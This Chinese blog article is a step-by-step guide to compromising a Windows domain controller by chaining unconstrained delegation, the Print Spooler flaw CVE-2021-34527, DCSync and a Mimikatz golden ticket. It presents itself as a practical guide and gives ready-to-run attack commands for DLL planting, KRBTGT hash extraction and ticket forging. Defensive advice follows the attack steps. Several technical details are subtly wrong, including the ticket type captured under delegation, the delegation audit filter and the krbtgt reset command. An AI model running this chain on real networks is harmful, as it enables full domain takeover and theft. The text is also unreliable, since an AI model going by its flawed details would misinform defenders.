深度解析:非约束委派+Spooler服务黄金票据攻击域控全流程
2025.09.18 16:43浏览量:0简介:本文详细解析了利用非约束性委派与Spooler打印机服务漏洞制作黄金票据攻击域控的技术原理、操作步骤及防御措施,为安全人员提供实战指南。
深度解析:非约束委派+Spooler服务黄金票据攻击域控全流程
摘要
本文通过技术拆解与实战案例,系统阐述如何结合”非约束性委派”与”Spooler打印机服务漏洞”制作黄金票据(Golden Ticket),实现域控制器(DC)的横向渗透。内容涵盖非约束性委派原理、Spooler服务权限提升漏洞(CVE-2021-34527)、Mimikatz工具操作、Kerberos协议漏洞利用等关键环节,并提供防御建议。
一、技术背景与攻击原理
1.1 非约束性委派(Unconstrained Delegation)
非约束性委派是Kerberos协议中的一种信任机制,允许服务账户代表用户访问其他服务。当服务账户被配置为”非约束性委派”时,攻击者可捕获用户访问该服务的TGS票据,进而伪造任意服务的TGS票据。
攻击价值:通过控制非约束性委派账户,可获取域内任意用户的TGS票据,为制作黄金票据提供基础。
1.2 Spooler打印机服务漏洞(CVE-2021-34527)
Windows Print Spooler服务存在特权提升漏洞,攻击者可通过恶意打印驱动或共享打印机注入DLL,获取SYSTEM权限。该漏洞常被用于提权至域管理员组。
攻击链衔接:通过Spooler漏洞提权后,可修改服务账户的委派属性或直接导出域控的KRBTGT账户哈希。
1.3 黄金票据(Golden Ticket)原理
黄金票据是伪造的TGT票据,包含域控KRBTGT账户的NTLM哈希。持有黄金票据的攻击者可无限期访问域内任意资源,且绕过常规权限检查。
核心要素:
- 域名(Domain Name)
- 域SID(Domain Security Identifier)
- KRBTGT账户的NTLM哈希
- 票据生命周期(默认10年)
二、攻击实施步骤
2.1 环境准备与信息收集
目标识别:
- 使用
Get-NetComputer -FullData
(PowerView)扫描域内主机 - 识别配置非约束性委派的服务账户:
Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties ServicePrincipalName
- 使用
Spooler漏洞检测:
- 检查目标主机是否运行Print Spooler服务:
Get-Service -Name Spooler | Select Status,Name
- 验证漏洞存在性(CVE-2021-34527):
# 检查注册表键值(漏洞利用前提)
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\Providers\ClientSideRendering"
- 检查目标主机是否运行Print Spooler服务:
2.2 通过Spooler漏洞提权
漏洞利用(需管理员权限):
- 上传恶意打印驱动或共享打印机:
# 示例:通过共享打印机注入DLL(需替换为实际路径)
Add-Printer -Name "MaliciousPrinter" -DriverName "Universal" -PortName "FILE:" -Shared $true -ShareName "MaliciousPrinter"
Copy-Item "C:\payload\malicious.dll" "\\target\C$\Windows\System32\spool\drivers\x64\3\"
- 上传恶意打印驱动或共享打印机:
触发DLL加载:
- 强制目标主机刷新打印队列:
Restart-Service -Name Spooler -Force
- 等待SYSTEM权限反弹Shell(可使用Metasploit的
exploit/windows/local/cve_2021_34527_spoolsample
模块)。
- 强制目标主机刷新打印队列:
2.3 获取KRBTGT哈希
方法一:通过DCSync攻击:
- 提权至域管理员后,使用Mimikatz的DCSync功能:
# 在提权后的会话中执行
.\mimikatz.exe "lsadump::dcsync /domain:contoso.com /user:krbtgt" exit
- 提权至域管理员后,使用Mimikatz的DCSync功能:
方法二:通过非约束性委派中转:
- 若无法直接获取KRBTGT哈希,可先控制非约束性委派账户:
# 捕获用户访问非约束性委派服务的TGS票据
.\mimikatz.exe "sekurlsa::tickets /export" exit
# 使用捕获的票据伪造其他服务的TGS
- 若无法直接获取KRBTGT哈希,可先控制非约束性委派账户:
2.4 制作黄金票据
生成票据参数:
- 域名:
contoso.com
- 域SID:
S-1-5-21-1234567890-1234567890-1234567890
- KRBTGT哈希:
a1b2c3d4e5f6...
(从DCSync获取)
- 域名:
使用Mimikatz生成黄金票据:
.\mimikatz.exe "kerberos::golden /domain:contoso.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:a1b2c3d4e5f6... /user:Administrator /ptt" exit
/ptt
参数表示直接注入当前会话,也可使用/ticket
导出票据文件。
2.5 验证攻击效果
访问域控资源:
- 使用伪造的票据访问域控的C$共享:
dir \\dc01.contoso.com\C$
- 使用伪造的票据访问域控的C$共享:
检查票据有效性:
.\mimikatz.exe "kerberos::list" exit
三、防御措施
3.1 限制非约束性委派
审计委派配置:
- 定期检查配置非约束性委派的账户:
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne $null} -Properties msDS-AllowedToDelegateTo
- 定期检查配置非约束性委派的账户:
迁移至约束性委派:
- 使用
Set-ADAccountControl
将账户改为约束性委派:Set-ADAccountControl -Identity "ServiceAccount" -TrustedForDelegation $false -TrustedToAuthForDelegation $true
- 使用
3.2 修复Spooler漏洞
禁用Print Spooler服务(非生产环境):
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
应用微软补丁:
- 安装2021年6月更新的KB5004945补丁。
3.3 保护KRBTGT账户
定期重置KRBTGT哈希:
- 每6个月执行一次(需规划停机时间):
# 在域控上执行(需域管理员权限)
Reset-ADServiceAccountPassword -Identity "krbtgt" -Confirm:$false
- 每6个月执行一次(需规划停机时间):
启用AES加密:
- 修改域策略强制使用AES而非RC4加密Kerberos票据。
四、实战案例分析
4.1 案例背景
某金融企业域环境存在以下漏洞:
- 域控未禁用非约束性委派
- 部分成员机未安装Spooler补丁
- KRBTGT账户哈希未定期更换
4.2 攻击路径
- 通过钓鱼邮件获取成员机管理员权限。
- 利用Spooler漏洞(CVE-2021-34527)提权至域管理员。
- 通过DCSync获取KRBTGT哈希。
- 制作黄金票据并横向移动至域控。
4.3 防御改进
- 禁用所有非必要服务的非约束性委派。
- 强制应用Spooler补丁并禁用服务。
- 实施KRBTGT哈希轮换策略。
五、总结与建议
- 红队视角:非约束性委派+Spooler漏洞的组合攻击具有高隐蔽性和强破坏性,需重点关注。
- 蓝队建议:
- 部署SIEM系统监控异常Kerberos票据请求。
- 定期执行
BloodHound
审计域委派关系。
- 合规要求:符合等保2.0中”身份鉴别”和”访问控制”条款要求。
工具清单:
- Mimikatz(版本≥2.2.0)
- PowerView(PowerShell渗透模块)
- Metasploit(Spooler漏洞利用模块)
本文通过技术拆解与案例分析,系统阐述了从提权到黄金票据制作的完整攻击链。实际环境中需结合具体场景调整策略,并严格遵守法律法规。
发表评论
登录后可评论,请前往 登录 或 注册